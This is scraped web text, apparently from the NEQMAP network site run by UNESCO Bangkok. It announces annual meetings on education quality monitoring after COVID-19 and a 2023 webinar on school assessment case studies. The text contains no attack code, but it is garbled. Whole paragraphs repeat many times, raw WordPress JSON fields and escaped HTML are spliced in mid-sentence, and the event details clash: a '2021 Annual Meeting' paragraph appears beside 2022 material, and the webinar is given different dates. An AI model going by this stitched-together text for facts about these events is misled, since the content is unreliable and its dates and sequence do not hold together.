The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

These assessments are used to generate next-generation credentials which provide a trusted profile of a learner, allowing them to showcase what they are truly capable of, including their successes, across the full range of valued learning. Her work has been instrumental in current initiatives to rethink the sufficiency of metrics like PISA and other standardised tests, arguing that if used on their own, they narrow the gaze of teachers and learners to what is examinable by the old methods.

The case studies also look at how policymakers and education leaders can help to promote and reinforce the formative use of assessment in schools for a more learner-centered and differentiated approach to teaching and learning.\u00a0<\/p>\n\n\n\n<\/p>\n\n\n\n<div class=\"wp-block-file\"><object class=\"wp-block-file__embed\" data=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" type=\"application\/pdf\" style=\"width:100%;height:600px\" aria-label=\"Webinar Concept Note and Agenda\"><\/object><a id=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\">Webinar Concept Note and Agenda<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\">Download<\/a><\/div>\n\n\n\n<div class=\"wp-block-file\"><a id=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\">NEQMAP-Knowledge-Sharing-Webinar<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\">Download<\/a><\/div>\n","post_parent":0,"guid":"https:\/\/neqmap.bangkok.unesco.org\/?p=5713","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":5689,"post_author":"1","post_date":"2023-05-30 12:07:19","post_date_gmt":"2023-05-30 05:07:19","post_content":"\nDate and Location: <\/strong> Wednesday 14th<\/sup> of June at 3:30pm - 4:30 pm (GMT+7\/Bangkok time) via Zoom<\/p>\n\n\n\nType of event:<\/strong> Online Webinar<\/p>\n\n\n\nRegistration link:<\/strong> <a href=\"https:\/\/bit.ly\/3WTS6ul\"><\/a><a rel=\"noreferrer noopener\" href=\"https:\/\/bit.ly\/3WTS6ul?fbclid=IwAR1WuAUbkqF4MiBRgIG4Xme6lebX8AXpahZVZXDYssEyZnqrpf2bi7jhScU\" target=\"_blank\">https:\/\/bit.ly\/3WTS6ul<\/a><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<\/p>\n\n\n\nPresentation Brief:<\/strong><\/p>\n\n\n\nIEA\u2019s PIRLS (the Progress in International Reading Literacy Study) is the global standard for monitoring reading achievement at the fourth grade.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

These assessments are used to generate next-generation credentials which provide a trusted profile of a learner, allowing them to showcase what they are truly capable of, including their successes, across the full range of valued learning. Her work has been instrumental in current initiatives to rethink the sufficiency of metrics like PISA and other standardised tests, arguing that if used on their own, they narrow the gaze of teachers and learners to what is examinable by the old methods.

The case studies also look at how policymakers and education leaders can help to promote and reinforce the formative use of assessment in schools for a more learner-centered and differentiated approach to teaching and learning.\u00a0<\/p>\n\n\n\n<\/p>\n\n\n\n<div class=\"wp-block-file\"><object class=\"wp-block-file__embed\" data=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" type=\"application\/pdf\" style=\"width:100%;height:600px\" aria-label=\"Webinar Concept Note and Agenda\"><\/object><a id=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\">Webinar Concept Note and Agenda<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\">Download<\/a><\/div>\n\n\n\n<div class=\"wp-block-file\"><a id=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\">NEQMAP-Knowledge-Sharing-Webinar<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\">Download<\/a><\/div>\n","post_parent":0,"guid":"https:\/\/neqmap.bangkok.unesco.org\/?p=5713","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":5689,"post_author":"1","post_date":"2023-05-30 12:07:19","post_date_gmt":"2023-05-30 05:07:19","post_content":"\nDate and Location: <\/strong> Wednesday 14th<\/sup> of June at 3:30pm - 4:30 pm (GMT+7\/Bangkok time) via Zoom<\/p>\n\n\n\nType of event:<\/strong> Online Webinar<\/p>\n\n\n\nRegistration link:<\/strong> <a href=\"https:\/\/bit.ly\/3WTS6ul\"><\/a><a rel=\"noreferrer noopener\" href=\"https:\/\/bit.ly\/3WTS6ul?fbclid=IwAR1WuAUbkqF4MiBRgIG4Xme6lebX8AXpahZVZXDYssEyZnqrpf2bi7jhScU\" target=\"_blank\">https:\/\/bit.ly\/3WTS6ul<\/a><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<\/p>\n\n\n\nPresentation Brief:<\/strong><\/p>\n\n\n\nIEA\u2019s PIRLS (the Progress in International Reading Literacy Study) is the global standard for monitoring reading achievement at the fourth grade.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The research will showcase four case studies from member organisations from the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP), a regional platform coordinated by UNESCO Bangkok. The case studies represent a variety of practices documenting promising and effective policies, practices, and lessons learned on how policymakers and education leaders can best support teachers and schools in effectively integrating assessment practices in the teaching and learning process. The case studies also look at how policymakers and education leaders can help to promote and reinforce the formative use of assessment in schools for a more learner-centered and differentiated approach to teaching and learning.\u00a0<\/p>\n\n\n\n<\/p>\n\n\n\n<div class=\"wp-block-file\"><object class=\"wp-block-file__embed\" data=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" type=\"application\/pdf\" style=\"width:100%;height:600px\" aria-label=\"Webinar Concept Note and Agenda\"><\/object><a id=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\">Webinar Concept Note and Agenda<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\">Download<\/a><\/div>\n\n\n\n<div class=\"wp-block-file\"><a id=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\">NEQMAP-Knowledge-Sharing-Webinar<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\">Download<\/a><\/div>\n","post_title":"Webinar | Supporting schools\u2019 and teachers\u2019 use of assessment to inform learning of all students","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"open","post_password":"","post_name":"webinar-supporting-schools-and-teachers-use-of-assessment-to-inform-learning-of-all-students","to_ping":"","pinged":"","post_modified":"2025-01-16 20:36:11","post_modified_gmt":"2025-01-16 13:36:11","post_content_filtered":"\nDate and Location:\u00a0<\/strong> Thursday 22 June, 2023 12:30 PM - 3:00 PM\u00a0(GMT+7\/Bangkok time)\u00a0<\/p>\n\n\n\nType of event:<\/strong> Knowledge-sharing Webinar<\/p>\n\n\n\nRegistration link:<\/strong> <a href=\"https:\/\/bit.ly\/3WTS6ul\"><\/a><a href=\"http:\/\/bit.ly\/3oW3Waw\">bit.ly\/3oW3Waw<\/a><\/p>\n\n\n\nWe are delighted to invite you to\u00a0the presentation of the NEQMAP 2023 Topical Case studies under the theme\u00a0\u00a0\"<\/strong>\u00a0Supporting schools\u2019 and teachers\u2019 use of assessment to inform learning of all students: topical case studies from Asia and the Pacific.\"\u00a0.\u00a0<\/strong>During this event, you will learn about promising practices and approaches from Australia, Pakistan and India to support schools and teachers better embed assessment in the teaching and learning process.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy.

In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The research will showcase four case studies from member organisations from the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP), a regional platform coordinated by UNESCO Bangkok. The case studies represent a variety of practices documenting promising and effective policies, practices, and lessons learned on how policymakers and education leaders can best support teachers and schools in effectively integrating assessment practices in the teaching and learning process. The case studies also look at how policymakers and education leaders can help to promote and reinforce the formative use of assessment in schools for a more learner-centered and differentiated approach to teaching and learning.\u00a0<\/p>\n\n\n\n<\/p>\n\n\n\n<div class=\"wp-block-file\"><object class=\"wp-block-file__embed\" data=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" type=\"application\/pdf\" style=\"width:100%;height:600px\" aria-label=\"Webinar Concept Note and Agenda\"><\/object><a id=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\">Webinar Concept Note and Agenda<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\">Download<\/a><\/div>\n\n\n\n<div class=\"wp-block-file\"><a id=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\">NEQMAP-Knowledge-Sharing-Webinar<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\">Download<\/a><\/div>\n","post_title":"Webinar | Supporting schools\u2019 and teachers\u2019 use of assessment to inform learning of all students","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"open","post_password":"","post_name":"webinar-supporting-schools-and-teachers-use-of-assessment-to-inform-learning-of-all-students","to_ping":"","pinged":"","post_modified":"2025-01-16 20:36:11","post_modified_gmt":"2025-01-16 13:36:11","post_content_filtered":"\nDate and Location:\u00a0<\/strong> Thursday 22 June, 2023 12:30 PM - 3:00 PM\u00a0(GMT+7\/Bangkok time)\u00a0<\/p>\n\n\n\nType of event:<\/strong> Knowledge-sharing Webinar<\/p>\n\n\n\nRegistration link:<\/strong> <a href=\"https:\/\/bit.ly\/3WTS6ul\"><\/a><a href=\"http:\/\/bit.ly\/3oW3Waw\">bit.ly\/3oW3Waw<\/a><\/p>\n\n\n\nWe are delighted to invite you to\u00a0the presentation of the NEQMAP 2023 Topical Case studies under the theme\u00a0\u00a0\"<\/strong>\u00a0Supporting schools\u2019 and teachers\u2019 use of assessment to inform learning of all students: topical case studies from Asia and the Pacific.\"\u00a0.\u00a0<\/strong>During this event, you will learn about promising practices and approaches from Australia, Pakistan and India to support schools and teachers better embed assessment in the teaching and learning process.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy.

In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

